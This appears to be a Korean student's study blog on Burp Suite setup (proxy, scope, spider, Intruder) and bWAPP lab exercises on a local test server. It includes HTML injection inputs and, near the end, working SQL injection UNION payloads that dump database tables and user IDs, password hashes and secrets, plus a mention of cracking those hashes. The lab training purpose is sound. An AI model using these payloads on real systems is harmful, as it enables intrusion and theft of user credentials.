road23 2022. 7. 22. 17:41

burp suite section 0 + bwapp html injection

 

버프 스위트 :  https://www.inflearn.com/course/boan_burpsuite/unit/20902


버프스위트 1.7버전 다운로드 방법

 

버프스위트에서 older version으로 들어가서 버프스위트 커뮤니티 에디션 버전 1.7.x를 다운받는다.

 

프로페셔널 버전 : scan에서 crawl기능이 스파이더 기능이다.

커뮤니티 버전 : 뉴 링크 태스크 -> 태스크 타입에서 라이브 패시트 크로얼(crawl)이 스파이더 기능이다.


버프스위트 설치 및 기능 요약 설명

 

버프 스위트를 커뮤니티 버전(프리 버전)으로 다운받기

요청이나 응답의 중간 값들을 인터셉트하기에 필요한 게 프록시이다.


버프스위트 프록시 개념과 설정 방법

 

프록시를 크롬에서 설정하는 방법:

설정-> 고급쪽 아래에 있는 '시스템'에서 프록시 설정 열기 누르기 -> 연결 -> LAN 설정 -> 포트 : 8080으로 설정하기 -> 완료하기

버프 스위트 접속하기 -> CA Certificate 다운받기 -> 버프 스위트 인증서 다운받기 -> 인증서 가져오기 

프록시 서버를 맞춘 후 인터넷을 열었을 때 프록시 서버가 응답하지 않는다는 창이 뜨면 , 프록시 서버를 다시 원상태로 바꿔야 한다. 

리스폰스 값은 받지 않기 때문에 'Intercept responses based on the following rules'에 체크를 해줘야 한다.

 

특정 도메인에 대해서만 리스폰스 값을 받을 수 있게 설정하는 방법

-> Intercept Client Requests에서 "Add"버튼 누르기 -> Match typedmf 'Domain name'으로 설정 후 Match condition에서 원하는 도메인 주소 입력하기 

-> 저기에서 도메인, 아이피 등의 정보 등을 확인할 수 있다.

 

Target에서 Site map을 보면 페이지 안에서 봤던 링크들이 다 들어있는데 그런 것들을 함부로 날리면 안된다.


테스트환경 소개와 범위 설정

 

-테스트환경 사용 방법

1. 가상환경에 구성을 해서 실행을 하는 게 일반적인 방법

2. 파일 형태로 동작할 수 있는 환경들을 구현하는 방법 

3. 테스트 환경을 제공하는 서비스를 이용하는 방법

 

너무 많은 링크들이 접속되서 방해가 될 때는 오른쪽 마우스를 눌러서 'Add to scope'버튼을 눌러서 지정하면 스코프 쪽에 포함되는 것을 확인할 수 있다.


범위(Scope)를 설정한 뒤에는 원하는 사이트만 정보를 제어하자

 

우리가 아는 사이트를 프록시로 잡아서 확인하는 방법

타켓의 사이트 맵을 들어가보면 프록시를 통해서 웹브라우를 통과하기 때문에 많은 사이트들이 잡혀있고 크롤링을 하듯이 정보를 수집하고 있는 것을 확인할 수 있다. 

(검은색 링크 : 직접적으로 접근한 링크, 회색 링크 : 직접적으로 접근하지 않은 링크)

범위(Scope) 프록시 패킷을 잡고 싶은 도메인을 등록하고, 프록시 범위에 등록된 사이트만 인터셉트하고, 요청 및 응답을 모두 설정해야 한다.

-> 프록시를 들어가서 옵션으로 들어간다 -> 인터셉트 서버 리스폰스와 인터셉트 클라이언트 리퀘스트에 체크해줘야 한다. ->  그 둘에서 'Is in target scope'에만 체크를 해준다.

-> 다른 사이트의 주소를 입력해 들어가보면, 등록을 미리 해놓은 사이트만 잡히는 것을 알 수 있다.


프록시 옵션을 설정하여 원하는 도메인만 진단

 

프록시 옵션에서 인터셉트 꼭 체크하기

등록한 사이트가 잡히는 이유는 내가 등록한 사이트에서 광고나 구매 링크 등 여러 링크들을 등록해놓는데 그 다양한 모든 링크들이 같이 들어오게 되는 것이다. 

프록시는 브라우저를 통해 들어오는 것을 잡는다.

 

만약 네이버에 있는 정보를 보고싶을 때는, 도메인 네임으로 설정을 하고 매치 컨디션에 'naver.com'을 입력을 하면 리퀘스트 값이 네이버닷컴으로 설정되어서 리퀘스트 값으로 불러오게 된다.

-> 이렇게 매치를 해야만 리퀘스트로 불러올 수 있다.

-> 다른 사이트들은 잡히지 않고 네이버닷컴이라고 써져있는 도메인 정보들만 리퀘스트와 리스폰스가 들어오는 것을 확인할 수 있다.

 

-> 이렇게 대상들을 좁혀서 분석하는 것이 훨씬 좋다.


스파이더(Spider)기능을 이용한 디렉터리 구조 파악

 

웹해킹을 할 때 디렉터리 구조를 꼭 파악해야만 하는데 그럴 때 스파이더를 사용하곤 한다.

스파이더를 이용해서 디렉터리와 일부 노출되어 있는 파일들을 파악할 수 있다.

 

파악을 해야만 하는 이유는 모의해킹을 할 때 눈으로 사이트를 하나하나씩 클릭을 하면서 기능들을 파악하게 되는데, 이렇게 눈으로 파악하다 보면 당연히 놓치게 되는 페이지들이 발생할 수 밖에 없기 때문에 구조를 파악해야 한다. 또한 모의해킹을 할 때 항상 디렉터리의 구조를 파악해야 이 서비스가 어떤 방식으로 프로세스를 가지고 어떻게 기능을 하는지 파악할 수 있다.

 

스파이더는 페이지 내에서 일부 노출된 링크들 또는 경로들을 노출되었다고 알려준다.

페이지 내의 html에 접근을 하고 상태코드를 확인하게 된다.

 

디스커버라는 기능은 사전파일을 가지고 무작위로 접근을 하게 되기 때문에 불법적인 요소가 있을 수 있다.

 

'Spider this host'기능을 이용해서 페이지를 각각 확인하게 되는데, 사용자가 입력값을 넣는 페이지들은 버프 스위터가 확인을 하게 된다.

 

'비로그인 인증 페이지'와 '로그인 인증 페이지' 두 개로 나누어서 점검을 하게 된다.


스파이더(Spider) 기능 옵션 살펴보기

 

-스파이더 옵션을 결정하는 방법

: 스파이더에서 옵션을 들어가서 제일 하단으로 가면 'Application login'이라고 있는데 들어가보면 나오는 주소를 오른쪽 마우스로 클릭해서 'Spider this host'를 눌러서 나오는 창에서 디렉터리 구조를 파악할 수 있다.

그 페이지에서 프론트를 미리 채워서 점검을 할지 아니면  프론트가 뜰 때 점검을 할지 설정을 할 수 있다.

 

스파이더의 옵션에서 Crawler 세팅에서 웹 취약점 분석을 할 수 있다.

패시브 스파이더링에서 응답되는 페이지에서 거짓 정보를 수집하게 된다.

 

폼 서브미션이 매우 중요한다. 글을 등록할 때 확인하고 버튼을 누르면, html에서 그걸 폼 액션 쪽에 보내고 폼 액션 쪽에서는 글을 작성하게 된다. 이게 html에서 글을 올리는 기본적인 구조인데, 이걸 폼 서브미션이라고 한다.

이걸 하는 이유는 게시판을 만났을 때 자체적으로 게시판의 확인 버튼을 자동으로 누를것인가 아닐것인가를 판단하기 때문이다.


버프스위트 HTTP History 기능 살펴보기

 

히스토리 정보는 프록시의 HTTP History에 모아지게 된다.

프록시는 중간 중간에 http 정보들을 계속해서 저장하기 때문에 히스토리에 방문했던 정보들이 저장되는 것을 확인할 수 있다.

그런데 중간에 저장된 정보들이 빠지는 게 있는데, 그건 버프 스위트에서 범위를 잡은 도메인의 경우에 히스토리에서 빠지게 된다.

파라미터에 쿠키값등이 들어가 있다.

리스펀스에서 렌더값등을 확인할 수 있다.

 

히스토리 중에서 오른쪽 마우스를 클릭하면 '쇼 뉴 히스토리 윈도우'가 있는데 , 이건 창을 새로운 창으로 여는 기능이다.


자동진단(Intruder) 기능 이해 및 활용

 

인트루더의 포지션에서 파라미터값들, 쿠키값들을 확인할 수 있다.

스나이퍼는 단일 payload이고, cluster bomb는 반복 payload를 할 때 사용한다. 

 

페이로드 설정에서 simple list 값을 설정할 수 있다.

크로스 사이트 스크립트 취약점은 크로스 사이트 스크립트 페이로드를 이용해서 패턴을 검사할 수 있다.


실전웹해킹 무차별대입공격을 하여 계정 정보 획득 및 대응방안

 

metaspoitable 툴을 다운받아서 dvwa로 들어간 다음에 로그인을 하면 새로운 창이 나온다.

여기서 난이도에 따라서 테스트를 하고 소스코드를 확인할 수 있다.

 

low 버전의 소스코드를 보면, 패스워드를 해시값으로 묶고 sql 커리문을 이용해서 데이터베이스와 비교하게 된다.


web security academy에서 XSS 패턴 검색 서비스 제공

 

xss cheat sheet 페이지는 웹해킹 중 xss 기법을 사용해서 어떻게든 스크립트가 동작할 수 있도록 공격을 진행하는 것이다. 각각의 브라우저, 패턴들을 제공하고 있다. 

버그헌팅은 취약점 존재 여부를 가지고 판단한다.

그런데 취약점의 존재 여부도 중요하지만, xss 취약점을 이용해서 어떤 위협을 줄 수 있느냐가 더 중요하다.

그 위협에는 다른 사용자의 쿠키 정보를 획득해서 사용자 권한을 획득하는 것과 배포를 위한 목적으로 악성코드 사이트로 유도하는 것과 피싱사이트로 유도하는 것과 CSRF Attack이라고 해서 사용자들한테 어떤 링크들로 유도를 해서 그 사용자가 자신도 모르게 패스워드를 바꾼다거나 조작을 하도록 만드는 것들이 있다.

이런 위협들을 태그들을 이용해서 어떻게 정보를 가져올 것인가를 고민해야 한다.

 


GET

 

[난이도 low]

first name에 bee, last name에 bug를 입력한다.

오른쪽 마우스를 클릭해서 View Page Source를 클릭한다.

소스코드를 확인하면, id=bee인 <img> 태그를 찾을 수 있다.

first name에 <h1>SUCCESS</h1>을

last name에 <img src=http://192.168.37.128/bWAPP/images/bee_1.png>을 입력한다.

 


[난이도 medium]

 

소스 코드를 확인한다.

인코딩 사이트 : https://meyerweb.com/eric/tools/dencoder/

first name에 <h1>SUCCESS</h1> 를 인코딩 한 %3Ch1%3ESUCCESS%3C%2Fh1%3E을 입력한다.

 

last name에 <img src=http://192.168.37.128/bWAPP/images/bee_1.png> 를 인코딩 한 %3Cimg%20src%3Dhttp%3A%2F%2F192.168.37.128%2FbWAPP%2Fimages%2Fbee_1.png%3E을 입력한다.

 


[난이도 high] 풀 수 없습니다. 풀 수 없는 이유를 정리해주세요.

 

소스코드를 확인한다.

파일을 확인하면 xss_check_3()함수를 통해 데이터를 입력받는다.

파일을 확인하면 htmlspecialchars()함수를 확인할 수 있다.


POST

  • 난이도 low

hint1. GET 방식과 다르게 POST 방식은 전송되는 변수 값이 보이지 않습니다. 하지만 burp suite를 이용한다면 클라이언트에서 서버로 전송되는 값이 모두 보입니다. 이걸 이용하여 값을 조작해봅시다.

 

<h1>SUCCESS</h1>

<img src=http://192.168.37.128/bWAPP/images/bee_1.png>

태그 입력


  • 난이도 medium

-hint1. 페이지 소스 코드를 확인해봅시다.

<p>Enter your first and last name:</p>

    <form action="/bWAPP/htmli_post.php" method="POST">

        <p><label for="firstname">First name:</label><br />

        <input type="text" id="firstname" name="firstname"></p>

 

        <p><label for="lastname">Last name:</label><br />

        <input type="text" id="lastname" name="lastname"></p>

 

        <button type="submit" name="form" value="submit">Go</button> 

    </form>

우리는 form의 정보가 htmli_post.php로 전달됨을 알 수 있습니다.

-hint2. htmli_post.php 파일에 include("functions_external.php");라는 코드가 있습니다.

         일부 함수를 functions_external.php 파일에 저장하는 듯 합니다.

-hint3. <과 >을 인코딩 했는데도 여전히 풀리지 않습니다. 더블 인코딩에 대해 알아봐야 할 것 같습니다.

터미널에  cd /var/www/bAWPP을 입력한 후 vim htnli_get.php을 입력한다.

인코딩 되어있기 때문에 더블인코딩을 해주면 된다.


  • 난이도 high – 풀 수 없는 이유를 설명하세요.

hint1. 서버에서 변수를 처리할 때 값을 조작하는 것 같습니다. php 파일을 살펴보면서 변수가 전달되는 과정을 지켜보면 답이 나올 듯 합니다.

 

post는 htmlspecialchars함수를 사용하기 때문에 high를 풀 수 없다.

 


BLOG

 

 MISSON. 버프스위트를 이용해 사용자들의 id와 password를 획득하자.

난이도 low

모든 공격은 버프스위트를 이용해주세요. 공격 과정은 GET방식과 유사합니다.

 

Quest. 데이터베이스 정보를 알아내세요.

 

' or 1=1#

을 이용하면 위의 사진과 같이 모든 영화 자료를 출력할 수 있다.

 

'union select all 1,@@version,database(),4,5,6,7#
를 입력해서 데이터베이스 정보를 출력할 수 있다.


Quest. 데이터베이스에 존재하는 모든 테이블 명을 출력하세요.

 

'union select all 1,2,3,table_name,5,6,7 from information_schema.tables#

를 입력하면 테이블 명을 출력할 수 있다.


Quest. 사용자 정보가 들어있는 칼럼을 출력하세요.

 

'union select all 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#

를 이용하여 사용자 정보가 들어있는 칼럼을 출력할 수 있다.


Quest. 사용자의 id, password, secret, login 정보를 출력해봅시다.

Quest. 사용자의 비밀번호는 해시 값으로 암호화되어 있습니다. 해시값을 크랙해 비밀번호를 알아봅시다. (툴을 설치할 필요 없이 웹사이트를 이용하셔도 됩니다.)

 

'union select all 1,id,password,secret,login,6,7 from users#

를 이용하여 사용자의 id, password, secret, login 정보를 출력할 수 있다.